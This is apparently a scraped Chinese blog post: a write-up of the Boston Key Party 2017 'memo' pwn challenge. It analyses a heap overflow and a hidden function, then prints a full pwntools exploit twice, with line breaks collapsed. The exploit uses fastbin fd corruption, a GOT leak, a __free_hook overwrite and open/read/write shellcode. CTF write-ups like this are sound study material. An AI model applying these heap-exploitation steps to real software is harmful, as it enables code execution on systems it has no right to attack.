bosten key party 2017 memo writeup
来源:互联网 发布:西班牙手机网络 编辑:程序博客网 时间:2024/06/08 17:01
memo
题目
https://github.com/ctfs/write-ups-2017/tree/master/boston-key-party-2017/pwn/memo-300
分析
题目有些生硬,很多地方都不太能说通,不过就是练习一下,就当刷水题了。
逻辑
- setvbuf等基本操作,以及使用prctl设置了no new privs,所以无法新建进程
- 输入用户密码,密码可以不写,全局变量name和password分别保留用户和密码,分别0x20大小
- 之后进入主要逻辑一共6个功能
i. leave message 涉及到两个全局变量,size和memo,memo紧跟在size之后,size紧跟在password之后,size大小0x10,memo大小0x20。 size是int类型数组,一共有4个int,每一个表示0到3个message的大小。 memo一共有4个指针,每一个表示message的具体位置。 leave message有两种情况,一个是0x20大小以内,直接malloc该大小,并且在size数组中保存,存进memo里,另一个是0x20大小以上,malloc 0x20大小,然后使用read读取size大小,之后全局变量index保存为这次创建的index。
ii. edit message,更改全局变量memo中全局变量index所在指针指向位置的内容,大小为size中index的值
iii. view memo 查看某个index的memo内容
vi. delete memo 删除某个index的memo内容,直接free,并且将memo数组中该位置设置为0,删除前先判断
v. change password 更改密码内容
开启的保护主要是 NX, FULL RELRO, 没有开启PIE
漏洞
- leave message位置,如果大于0x20,read时候读取的还是size,size此时大于0x20,存在溢出。
- 有一个隐藏函数,位于0x400b47,会执行输入的内容
利用分析
溢出的自由度比较大,利用也比较简单。
大概步骤是
1. password设置最后位置为0x31,由于password和size紧邻,用来通过fastbin 分配的check
2. 利用溢出,修改fd指针到password写入0x31的位置,然后分配出指向size位置的chunk
3. 修改memo位置的指针,指向任意一个GOT表中的指针,然后利用view来获取地址,得到libc基地址
4. 再次修改memo位置指针,指向__free_hook,然后通过edit来修改__free_hook指向隐藏函数
5. 通过shellcode完成open read 和write得到flag
题目比较简单,我就直接给exp了
exp
from pwn import *context(os='linux', arch='amd64', log_level='debug')DEBUG = 1GDB = 1if DEBUG: p = process("./memo") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")shellcode = '''mov rax, 0x2mov rdi, 0x41410100xor rsi, rsisyscallmov rdi, raxmov rsi, 0x602000mov rdx, 0x100xor rax, raxsyscallmov rax, 1mov rdi, 1mov rsi, 0x602000mov rdx, 0x100syscall'''def init_all(name, password): p.recvuntil('name:') p.sendline(name) p.recvuntil('(y/n)') if password is not None: p.sendline('y') p.recvuntil('Password:') p.sendline(password) else: p.sendline('n')def leave_message(index, msg): p.recvuntil('>>') p.sendline('1') p.recvuntil('Index:') p.sendline(str(index)) p.recvuntil('Length:') length = len(msg) p.sendline(str(length)) if length <= 0x20: p.recvuntil('Message:') p.send(msg) else: p.recvuntil('though') p.send(msg)def edit_message(msg): p.recvuntil('>>') p.sendline('2') p.recvuntil('message:') p.sendline(msg) p.recvuntil('edited message!\n') ret = p.recvline()[:-1] return retdef view_memo(index): p.recvuntil('>>') p.sendline('3') p.recvuntil('Index:') p.sendline(str(index)) p.recvuntil('Message: ') ret = p.recvline()[:-1] return retdef delete_memo(index): p.recvuntil('>>') p.sendline('4') p.recvuntil('Index:') p.sendline(str(index))def change_password(orig_pass, new_name, new_pass): p.recvuntil('>>') p.sendline('5') p.recvuntil('Password:') p.sendline(orig_pass) p.recvuntil('name:') p.sendline(new_name) p.recvuntil('password:') p.sendline(new_pass)def main(): if GDB: raw_input() init_all('a', p64(0x31).rjust(0x20, '\x00')) leave_message(1, 'c' * 0x20) # 1 heap_base = u64(edit_message('a').ljust(8, '\x00')) log.info('heap base address {}'.format(hex(heap_base))) leave_message(2, 'd' * 0x20) # 1, 2 leave_message(3, 'e' * 0x20) # 1, 2, 3 delete_memo(2) # 1, 3 delete_memo(1) # 3 password_addr = 0x602a40 size_addr = 0x602a60 changed_fd = password_addr + 0x10 leave_message(1, 'f' * 0x20 + p64(0) + p64(0x31) + p64(changed_fd)) # 1, 3 leave_message(2, 'g' * 0x20) # 1, 2, 3 free_at_got = 0x601f78 fake_message_head = p32(0x20) + p32(0x20) + p32(0x20) + p32(0x20) log.info('this one should be in bss') leave_message(0, fake_message_head + p64(size_addr) + p64(free_at_got)) # 0, 1, 2, 3 free_address = u64(view_memo(1).ljust(8, '\x00')) log.info('free address at got is {}'.format(hex(free_address))) libc_base = free_address - libc.symbols['free'] log.info('libc base is {}'.format(hex(libc_base))) free_hook = libc_base + libc.symbols['__free_hook'] log.info('free hook is {}'.format(hex(free_hook))) edit_message(fake_message_head + p64(free_hook) + p64(heap_base + 0x10)) hidden_func = 0x400b47 # editing __free_hook edit_message(p64(hidden_func)) delete_memo(1) p.send(asm(shellcode).ljust(0x100, '\x00') + 'flag\x00') p.interactive()if __name__ == "__main__": main()from pwn import *context(os='linux', arch='amd64', log_level='debug')DEBUG = 1GDB = 1if DEBUG: p = process("./memo") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")shellcode = '''mov rax, 0x2mov rdi, 0x41410100xor rsi, rsisyscallmov rdi, raxmov rsi, 0x602000mov rdx, 0x100xor rax, raxsyscallmov rax, 1mov rdi, 1mov rsi, 0x602000mov rdx, 0x100syscall'''def init_all(name, password): p.recvuntil('name:') p.sendline(name) p.recvuntil('(y/n)') if password is not None: p.sendline('y') p.recvuntil('Password:') p.sendline(password) else: p.sendline('n')def leave_message(index, msg): p.recvuntil('>>') p.sendline('1') p.recvuntil('Index:') p.sendline(str(index)) p.recvuntil('Length:') length = len(msg) p.sendline(str(length)) if length <= 0x20: p.recvuntil('Message:') p.send(msg) else: p.recvuntil('though') p.send(msg)def edit_message(msg): p.recvuntil('>>') p.sendline('2') p.recvuntil('message:') p.sendline(msg) p.recvuntil('edited message!\n') ret = p.recvline()[:-1] return retdef view_memo(index): p.recvuntil('>>') p.sendline('3') p.recvuntil('Index:') p.sendline(str(index)) p.recvuntil('Message: ') ret = p.recvline()[:-1] return retdef delete_memo(index): p.recvuntil('>>') p.sendline('4') p.recvuntil('Index:') p.sendline(str(index))def change_password(orig_pass, new_name, new_pass): p.recvuntil('>>') p.sendline('5') p.recvuntil('Password:') p.sendline(orig_pass) p.recvuntil('name:') p.sendline(new_name) p.recvuntil('password:') p.sendline(new_pass)def main(): if GDB: raw_input() init_all('a', p64(0x31).rjust(0x20, '\x00')) leave_message(1, 'c' * 0x20) # 1 heap_base = u64(edit_message('a').ljust(8, '\x00')) log.info('heap base address {}'.format(hex(heap_base))) leave_message(2, 'd' * 0x20) # 1, 2 leave_message(3, 'e' * 0x20) # 1, 2, 3 delete_memo(2) # 1, 3 delete_memo(1) # 3 password_addr = 0x602a40 size_addr = 0x602a60 changed_fd = password_addr + 0x10 leave_message(1, 'f' * 0x20 + p64(0) + p64(0x31) + p64(changed_fd)) # 1, 3 leave_message(2, 'g' * 0x20) # 1, 2, 3 free_at_got = 0x601f78 fake_message_head = p32(0x20) + p32(0x20) + p32(0x20) + p32(0x20) log.info('this one should be in bss') leave_message(0, fake_message_head + p64(size_addr) + p64(free_at_got)) # 0, 1, 2, 3 free_address = u64(view_memo(1).ljust(8, '\x00')) log.info('free address at got is {}'.format(hex(free_address))) libc_base = free_address - libc.symbols['free'] log.info('libc base is {}'.format(hex(libc_base))) free_hook = libc_base + libc.symbols['__free_hook'] log.info('free hook is {}'.format(hex(free_hook))) edit_message(fake_message_head + p64(free_hook) + p64(heap_base + 0x10)) hidden_func = 0x400b47 # editing __free_hook edit_message(p64(hidden_func)) delete_memo(1) p.send(asm(shellcode).ljust(0x100, '\x00') + 'flag\x00') p.interactive()if __name__ == "__main__": main()
阅读全文
2 0
- bosten key party 2017 memo writeup
- bosten key party 2017 signed shell server writeup
- 【Writeup】Boston Key Party CTF 2015(部分题目)
- Boston Key Party CTF 2017: prudentialv2-50
- Memo
- Memo
- memo
- MEMO
- memo
- memo
- memo
- memo
- Memo
- memo
- Memo
- memo
- memo
- memo
- Python中接口定义和依赖注入
- postgresql复制
- 1002 Biorhythms
- (2017多校2)1003/hdu-6047 Maximum Sequence(单调队列/优先队列)
- STM32用到的几种存储器
- bosten key party 2017 memo writeup
- CS231n课程笔记翻译7:神经网络笔记 part2
- 【POJ 1088】滑雪
- 数据结构基础知识-线性表
- 0727Link
- 锁定Excel
- CSS之float
- ndk-build
- cartographer源码分析(20)-sensor-data.h